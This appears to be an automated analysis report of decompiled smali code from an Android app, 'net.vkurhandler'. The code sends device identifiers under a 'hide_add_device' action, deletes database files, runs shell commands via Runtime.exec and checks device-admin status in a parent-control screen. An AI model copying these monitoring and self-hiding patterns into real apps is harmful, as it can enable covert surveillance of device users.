                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putBoolean
                    • android.content.SharedPreferences$Editor.commit
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    Strings
                    • module
                    • client
                    • action
                    • hide_add_device
                    • domain_id
                    • client_hash
                    • device_id
                    • sdk_int
                    • device_name
                    • fingerprint
                    • response
                    • success
                    • hide_add_dev
                    • error
                    • HideAddDevice
                    • error:
                    • already_added
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1const/4 v1, 0x0
                    2try_start_2: new-instance v2, Lorg/json/JSONObject;
                    4invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                    6const-string v3, "module"
                    8const-string v4, "client"
                    10invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    12const-string v3, "action"
                    14const-string v4, "hide_add_device"
                    16invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    18const-string v3, "domain_id"
                    19const/4 v4, 0x0
                    21invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    23const-string v3, "client_hash"
                    25const-string v4, ""
                    27invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    29const-string v3, "device_id"
                    31iget-object v4, p0, Lnet/vkurhandler/bd;->a:Landroid/content/Context;
                    33invoke-static {v4}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    34move-result-object v4
                    36invoke-virtual {v4}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    37move-result-object v4
                    39invoke-virtual {v4}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    40move-result-object v4
                    42invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    44const-string v3, "sdk_int"
                    45sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                    47invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    49const-string v3, "device_name"
                    51sget-object v4, Landroid/os/Build;->MODEL:Ljava/lang/String;
                    53invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    55const-string v3, "fingerprint"
                    57sget-object v4, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
                    59invoke-virtual {v2, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    60new-instance v3, Lnet/vkurhandler/gb;
                    62invoke-direct {v3}, Lnet/vkurhandler/gb;-><init>()V
                    64iget-object v4, p0, Lnet/vkurhandler/bd;->a:Landroid/content/Context;
                    66invoke-static {v4, v2, v3}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    67new-instance v2, Ljava/lang/String;
                    69invoke-virtual {v3}, Lnet/vkurhandler/gb;->i()[B
                    70move-result-object v3
                    72invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
                    73new-instance v3, Lorg/json/JSONObject;
                    75invoke-direct {v3, v2}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    77const-string v2, "response"
                    79invoke-virtual {v3, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    80move-result-object v2
                    82const-string v3, "success"
                    84invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    85move-result v3
                    86if-eqz v3, :cond_93
                    87cond_70: if-eqz v0, :cond_8f
                    89iget-object v0, p0, Lnet/vkurhandler/bd;->a:Landroid/content/Context;
                    91invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    92move-result-object v0
                    94invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    95move-result-object v0
                    97invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    98move-result-object v0
                    100const-string v2, "hide_add_dev"
                    101const/4 v3, 0x1
                    103invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    104move-result-object v0
                    106invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    108iget-object v0, p0, Lnet/vkurhandler/bd;->a:Landroid/content/Context;
                    110invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    111cond_8f:
                    112invoke-static {v1}, Lnet/vkurhandler/bc;->a(Z)V
                    113goto_92: return-void
                    114cond_93:
                    115const-string v3, "error"
                    117invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    118move-result-object v2
                    120invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    121move-result v3
                    122if-eqz v3, :cond_af
                    124const-string v3, "HideAddDevice"
                    125const/4 v4, 0x2
                    126new-array v4, v4, [Ljava/lang/String;
                    127const/4 v5, 0x0
                    129const-string v6, "error:"
                    130aput-object v6, v4, v5
                    131const/4 v5, 0x1
                    132aput-object v2, v4, v5
                    134invoke-static {v3, v4}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    135cond_af:
                    136const-string v3, "already_added"
                    138invoke-virtual {v3, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    139try_end_b4: move-result v2
                    140if-nez v2, :cond_70
                    141move v0, v1
                    142goto/16 :goto_70
                    143catch_b9: move-exception v0
                    144try_start_ba:
                    145const-string v2, "HideAddDevice"
                    147invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    148try_end_bf:
                    149invoke-static {v1}, Lnet/vkurhandler/bc;->a(Z)V
                    150goto/16 :goto_92
                    151catchall_c3: move-exception v0
                    153invoke-static {v1}, Lnet/vkurhandler/bc;->a(Z)V
                    154throw v0
                    Cross References
                    APIs
                    • java.lang.IllegalArgumentException.<init>
                    • java.io.File.delete
                    • java.io.File.getPath
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.delete
                    • java.io.File.getPath
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.delete
                    • java.io.File.getPath
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.delete
                    • java.io.File.getParentFile
                    • java.io.File.getName
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.listFiles
                    • java.io.File.delete
                    Strings
                    • file must not be null
                    • -journal
                    • -shm
                    • -wal
                    • -mj
                    Position Instruction Meta Information
                    0const/4 v1, 0x0
                    1if-nez p0, :cond_b
                    2new-instance v0, Ljava/lang/IllegalArgumentException;
                    4const-string v1, "file must not be null"
                    6invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;-><init>(Ljava/lang/String;)V
                    7throw v0
                    8cond_b:
                    9invoke-virtual {p0}, Ljava/io/File;->delete()Z
                    10move-result v0
                    11or-int/2addr v0, v1
                    12new-instance v2, Ljava/io/File;
                    13new-instance v3, Ljava/lang/StringBuilder;
                    15invoke-virtual {p0}, Ljava/io/File;->getPath()Ljava/lang/String;
                    16move-result-object v4
                    18invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    19move-result-object v4
                    21invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    23const-string v4, "-journal"
                    25invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    26move-result-object v3
                    28invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    29move-result-object v3
                    31invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    33invoke-virtual {v2}, Ljava/io/File;->delete()Z
                    34move-result v2
                    35or-int/2addr v0, v2
                    36new-instance v2, Ljava/io/File;
                    37new-instance v3, Ljava/lang/StringBuilder;
                    39invoke-virtual {p0}, Ljava/io/File;->getPath()Ljava/lang/String;
                    40move-result-object v4
                    42invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    43move-result-object v4
                    45invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    47const-string v4, "-shm"
                    49invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    50move-result-object v3
                    52invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    53move-result-object v3
                    55invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    57invoke-virtual {v2}, Ljava/io/File;->delete()Z
                    58move-result v2
                    59or-int/2addr v0, v2
                    60new-instance v2, Ljava/io/File;
                    61new-instance v3, Ljava/lang/StringBuilder;
                    63invoke-virtual {p0}, Ljava/io/File;->getPath()Ljava/lang/String;
                    64move-result-object v4
                    66invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    67move-result-object v4
                    69invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    71const-string v4, "-wal"
                    73invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    74move-result-object v3
                    76invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    77move-result-object v3
                    79invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    81invoke-virtual {v2}, Ljava/io/File;->delete()Z
                    82move-result v2
                    83or-int/2addr v0, v2
                    85invoke-virtual {p0}, Ljava/io/File;->getParentFile()Ljava/io/File;
                    86move-result-object v2
                    87if-eqz v2, :cond_9c
                    88new-instance v3, Ljava/lang/StringBuilder;
                    90invoke-virtual {p0}, Ljava/io/File;->getName()Ljava/lang/String;
                    91move-result-object v4
                    93invoke-static {v4}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    94move-result-object v4
                    96invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    98const-string v4, "-mj"
                    100invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    101move-result-object v3
                    103invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    104move-result-object v3
                    105new-instance v4, Lorg/sqlite/database/sqlite/SQLiteDatabase$2;
                    107invoke-direct {v4, v3}, Lorg/sqlite/database/sqlite/SQLiteDatabase$2;-><init>(Ljava/lang/String;)V
                    109invoke-virtual {v2, v4}, Ljava/io/File;->listFiles(Ljava/io/FileFilter;)[Ljava/io/File;
                    110move-result-object v3
                    111array-length v4, v3
                    112goto_9a: if-lt v1, v4, :cond_9d
                    113cond_9c: return v0
                    114cond_9d: aget-object v2, v3, v1
                    116invoke-virtual {v2}, Ljava/io/File;->delete()Z
                    117move-result v2
                    118or-int/2addr v2, v0
                    119add-int/lit8 v0, v1, 0x1
                    120move v1, v0
                    121move v0, v2
                    122goto/16 :goto_9a
                    Cross References
                    APIs
                    • java.util.ArrayList.<init>
                    • java.lang.Runtime.getRuntime
                    • java.lang.Runtime.exec
                    • java.lang.Process.getInputStream
                    • java.lang.Process.getErrorStream
                    • java.util.Scanner.<init>
                    • java.util.Scanner.useDelimiter
                    • java.util.Scanner.hasNext
                    • java.util.Scanner.<init>
                    • java.util.Scanner.useDelimiter
                    • java.util.Scanner.hasNext
                    • java.io.InputStream.close
                    • java.io.InputStream.close
                    • java.util.Scanner.next
                    • java.util.ArrayList.add
                    • java.io.IOException.printStackTrace
                    • java.io.InputStream.close
                    • java.io.InputStream.close
                    • java.io.IOException.printStackTrace
                    • java.util.Scanner.next
                    • java.util.ArrayList.add
                    • java.io.InputStream.close
                    • java.io.InputStream.close
                    • java.io.IOException.printStackTrace
                    • java.io.IOException.printStackTrace
                    • java.io.IOException.printStackTrace
                    • java.io.IOException.printStackTrace
                    • java.io.IOException.printStackTrace
                    Strings
                    • \\n
                    Position Instruction Meta Information
                    0const/4 v1, 0x0
                    1new-instance v3, Ljava/util/ArrayList;
                    3invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
                    4try_start_6:
                    5invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                    6move-result-object v0
                    8invoke-virtual {v0, p0}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                    9move-result-object v0
                    11invoke-virtual {v0}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                    12try_end_11: move-result-object v2
                    13try_start_12:
                    14invoke-virtual {v0}, Ljava/lang/Process;->getErrorStream()Ljava/io/InputStream;
                    15move-result-object v1
                    16new-instance v0, Ljava/util/Scanner;
                    18invoke-direct {v0, v2}, Ljava/util/Scanner;-><init>(Ljava/io/InputStream;)V
                    20const-string v4, "\\n"
                    22invoke-virtual {v0, v4}, Ljava/util/Scanner;->useDelimiter(Ljava/lang/String;)Ljava/util/Scanner;
                    23move-result-object v0
                    24goto_21:
                    25invoke-virtual {v0}, Ljava/util/Scanner;->hasNext()Z
                    26move-result v4
                    27if-nez v4, :cond_43
                    28new-instance v0, Ljava/util/Scanner;
                    30invoke-direct {v0, v1}, Ljava/util/Scanner;-><init>(Ljava/io/InputStream;)V
                    32const-string v4, "\\n"
                    34invoke-virtual {v0, v4}, Ljava/util/Scanner;->useDelimiter(Ljava/lang/String;)Ljava/util/Scanner;
                    35move-result-object v0
                    36goto_32:
                    37invoke-virtual {v0}, Ljava/util/Scanner;->hasNext()Z
                    38try_end_35: move-result v4
                    39if-nez v4, :cond_5f
                    40if-eqz v2, :cond_3d
                    41try_start_3a:
                    42invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                    43cond_3d: if-eqz v1, :cond_42
                    44try_start_3f:
                    45invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                    46goto_42: return-object v3
                    47try_start_43:
                    48invoke-virtual {v0}, Ljava/util/Scanner;->next()Ljava/lang/String;
                    49move-result-object v4
                    51invoke-virtual {v3, v4}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                    52try_end_4a: goto/16 :goto_21
                    53catch_4b: move-exception v0
                    54try_start_4c:
                    55invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                    56try_end_4f: if-eqz v2, :cond_54
                    57try_start_51:
                    58invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                    59cond_54: if-eqz v1, :cond_42
                    60try_start_56:
                    61invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                    62try_end_59: goto/16 :goto_42
                    63catch_5a: move-exception v0
                    65invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                    66goto/16 :goto_42
                    67try_start_5f:
                    68invoke-virtual {v0}, Ljava/util/Scanner;->next()Ljava/lang/String;
                    69move-result-object v4
                    71invoke-virtual {v3, v4}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
                    72try_end_66: goto/16 :goto_32
                    73catchall_67: move-exception v0
                    74goto_68: if-eqz v2, :cond_6d
                    75try_start_6a:
                    76invoke-virtual {v2}, Ljava/io/InputStream;->close()V
                    77goto_6d: if-eqz v1, :cond_72
                    78try_start_6f:
                    79invoke-virtual {v1}, Ljava/io/InputStream;->close()V
                    80try_end_72: throw v0
                    81catch_73: move-exception v0
                    83invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                    84goto/16 :goto_54
                    85catch_78: move-exception v2
                    87invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V
                    88goto/16 :goto_6d
                    89catch_7d: move-exception v1
                    91invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V
                    92goto/16 :goto_72
                    93catch_82: move-exception v0
                    95invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                    96goto/16 :goto_3d
                    97catch_87: move-exception v0
                    99invoke-virtual {v0}, Ljava/io/IOException;->printStackTrace()V
                    100goto/16 :goto_42
                    101catchall_8c: move-exception v0
                    102move-object v2, v1
                    103goto/16 :goto_68
                    104catch_8f: move-exception v0
                    105move-object v2, v1
                    106goto/16 :goto_4c
                    APIs
                    • net.vkurhandler.ParentControlActivity.b:Landroid/app/admin/DevicePolicyManager
                    • net.vkurhandler.ParentControlActivity.a:Landroid/content/ComponentName
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • android.app.AlertDialog$Builder.<init>
                    • android.app.AlertDialog$Builder.create
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog.setTitle
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog.setMessage
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog.setButton
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog.setButton
                    • android.app.AlertDialog.show
                    • android.app.AlertDialog$Builder.<init>
                    • android.widget.EditText.<init>
                    • android.widget.EditText.setInputType
                    • android.widget.LinearLayout$LayoutParams.<init>
                    • android.widget.EditText.setLayoutParams
                    • android.app.AlertDialog$Builder.setView
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog$Builder.setTitle
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog$Builder.setMessage
                    • net.vkurhandler.ParentControlActivity.getString
                    • android.app.AlertDialog$Builder.setNegativeButton
                    • android.app.AlertDialog$Builder.setPositiveButton
                    • android.app.AlertDialog$Builder.create
                    • android.app.AlertDialog.show
                    Strings
                    • Ok
                    Position Instruction Meta Information
                    0const v4, 0x7f06001b
                    1const/4 v3, -0x2
                    3iget-object v0, p0, Lnet/vkurhandler/ParentControlActivity;->b:Landroid/app/admin/DevicePolicyManager;
                    5iget-object v1, p0, Lnet/vkurhandler/ParentControlActivity;->a:Landroid/content/ComponentName;
                    7invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    8move-result v0
                    9if-nez v0, :cond_4c
                    10new-instance v0, Landroid/app/AlertDialog$Builder;
                    12invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    14invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    15move-result-object v0
                    16const v1, 0x7f060018
                    18invoke-virtual {p0, v1}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    19move-result-object v1
                    21invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setTitle(Ljava/lang/CharSequence;)V
                    22const v1, 0x7f060019
                    24invoke-virtual {p0, v1}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    25move-result-object v1
                    27invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
                    28const/4 v1, -0x3
                    30invoke-virtual {p0, v4}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    31move-result-object v2
                    32new-instance v3, Lnet/vkurhandler/ck;
                    34invoke-direct {v3, p0}, Lnet/vkurhandler/ck;-><init>(Lnet/vkurhandler/ParentControlActivity;)V
                    36invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    37const/4 v1, -0x1
                    38const v2, 0x7f06001a
                    40invoke-virtual {p0, v2}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    41move-result-object v2
                    42new-instance v3, Lnet/vkurhandler/cl;
                    44invoke-direct {v3, p0}, Lnet/vkurhandler/cl;-><init>(Lnet/vkurhandler/ParentControlActivity;)V
                    46invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    48invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
                    49goto_4b: return-void
                    50cond_4c: new-instance v0, Landroid/app/AlertDialog$Builder;
                    52invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    53new-instance v1, Landroid/widget/EditText;
                    55invoke-direct {v1, p0}, Landroid/widget/EditText;-><init>(Landroid/content/Context;)V
                    56const/4 v2, 0x2
                    58invoke-virtual {v1, v2}, Landroid/widget/EditText;->setInputType(I)V
                    59new-instance v2, Landroid/widget/LinearLayout$LayoutParams;
                    61invoke-direct {v2, v3, v3}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                    63invoke-virtual {v1, v2}, Landroid/widget/EditText;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
                    65invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
                    66const v2, 0x7f06001c
                    68invoke-virtual {p0, v2}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    69move-result-object v2
                    71invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
                    72const v2, 0x7f06001d
                    74invoke-virtual {p0, v2}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    75move-result-object v2
                    77invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
                    79invoke-virtual {p0, v4}, Lnet/vkurhandler/ParentControlActivity;->getString(I)Ljava/lang/String;
                    80move-result-object v2
                    81new-instance v3, Lnet/vkurhandler/cm;
                    83invoke-direct {v3, p0}, Lnet/vkurhandler/cm;-><init>(Lnet/vkurhandler/ParentControlActivity;)V
                    85invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
                    87const-string v2, "Ok"
                    88new-instance v3, Lnet/vkurhandler/cn;
                    90invoke-direct {v3, p0, v1}, Lnet/vkurhandler/cn;-><init>(Lnet/vkurhandler/ParentControlActivity;Landroid/widget/EditText;)V
                    92invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setPositiveButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
                    94invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    95move-result-object v0
                    97invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
                    98goto/16 :goto_4b
                    APIs
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • net.vkurhandler.SettingsActivity.e:Landroid/content/ComponentName
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • android.app.AlertDialog$Builder.<init>
                    • android.app.AlertDialog$Builder.create
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setTitle
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setMessage
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setButton
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog.setButton
                    • android.app.AlertDialog.show
                    • android.app.AlertDialog$Builder.<init>
                    • android.widget.EditText.<init>
                    • android.widget.EditText.setInputType
                    • android.widget.LinearLayout$LayoutParams.<init>
                    • android.widget.EditText.setLayoutParams
                    • android.app.AlertDialog$Builder.setView
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog$Builder.setTitle
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog$Builder.setMessage
                    • net.vkurhandler.SettingsActivity.getString
                    • android.app.AlertDialog$Builder.setNegativeButton
                    • android.app.AlertDialog$Builder.setPositiveButton
                    • android.app.AlertDialog$Builder.create
                    • android.app.AlertDialog.show
                    Strings
                    • Ok
                    Position Instruction Meta Information
                    0const v4, 0x7f06001b
                    1const/4 v3, -0x2
                    3iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->f:Landroid/app/admin/DevicePolicyManager;
                    5iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->e:Landroid/content/ComponentName;
                    7invoke-virtual {v0, v1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
                    8move-result v0
                    9if-nez v0, :cond_4c
                    10new-instance v0, Landroid/app/AlertDialog$Builder;
                    12invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    14invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
                    15move-result-object v0
                    16const v1, 0x7f060018
                    18invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    19move-result-object v1
                    21invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setTitle(Ljava/lang/CharSequence;)V
                    22const v1, 0x7f060019
                    24invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    25move-result-object v1
                    27invoke-virtual {v0, v1}, Landroid/app/AlertDialog;->setMessage(Ljava/lang/CharSequence;)V
                    28const/4 v1, -0x3
                    30invoke-virtual {p0, v4}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    31move-result-object v2
                    32new-instance v3, Lnet/vkurhandler/fh;
                    34invoke-direct {v3, p0}, Lnet/vkurhandler/fh;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    36invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    37const/4 v1, -0x1
                    38const v2, 0x7f06001a
                    40invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    41move-result-object v2
                    42new-instance v3, Lnet/vkurhandler/fi;
                    44invoke-direct {v3, p0}, Lnet/vkurhandler/fi;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    46invoke-virtual {v0, v1, v2, v3}, Landroid/app/AlertDialog;->setButton(ILjava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)V
                    48invoke-virtual {v0}, Landroid/app/AlertDialog;->show()V
                    49goto_4b: return-void
                    50cond_4c: new-instance v0, Landroid/app/AlertDialog$Builder;
                    52invoke-direct {v0, p0}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
                    53new-instance v1, Landroid/widget/EditText;
                    55invoke-direct {v1, p0}, Landroid/widget/EditText;-><init>(Landroid/content/Context;)V
                    56const/4 v2, 0x2
                    58invoke-virtual {v1, v2}, Landroid/widget/EditText;->setInputType(I)V
                    59new-instance v2, Landroid/widget/LinearLayout$LayoutParams;
                    61invoke-direct {v2, v3, v3}, Landroid/widget/LinearLayout$LayoutParams;-><init>(II)V
                    63invoke-virtual {v1, v2}, Landroid/widget/EditText;->setLayoutParams(Landroid/view/ViewGroup$LayoutParams;)V
                    65invoke-virtual {v0, v1}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
                    66const v2, 0x7f06001c
                    68invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    69move-result-object v2
                    71invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
                    72const v2, 0x7f06001d
                    74invoke-virtual {p0, v2}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    75move-result-object v2
                    77invoke-virtual {v0, v2}, Landroid/app/AlertDialog$Builder;->setMessage(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
                    79invoke-virtual {p0, v4}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    80move-result-object v2
                    81new-instance v3, Lnet/vkurhandler/fj;
                    83invoke-direct {v3, p0}, Lnet/vkurhandler/fj;-><init>(Lnet/vkurhandler/SettingsActivity;)V
                    85invoke-virtual {v0, v2, v3}, Landroid/app/AlertDialog$Builder;->setNegativeButton(Ljava/lang/CharSequence;Landroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
                    87const-string v2, "Ok"
                    88new-instance v3, Lnet/vkurhandler/fk;
                    90invoke-direct {v3, p0, v1}, Lnet/vkurhandler/fk;-><init>(Lnet/vkurhandler/SettingsActivity;Landroid/widget/EditText;)V
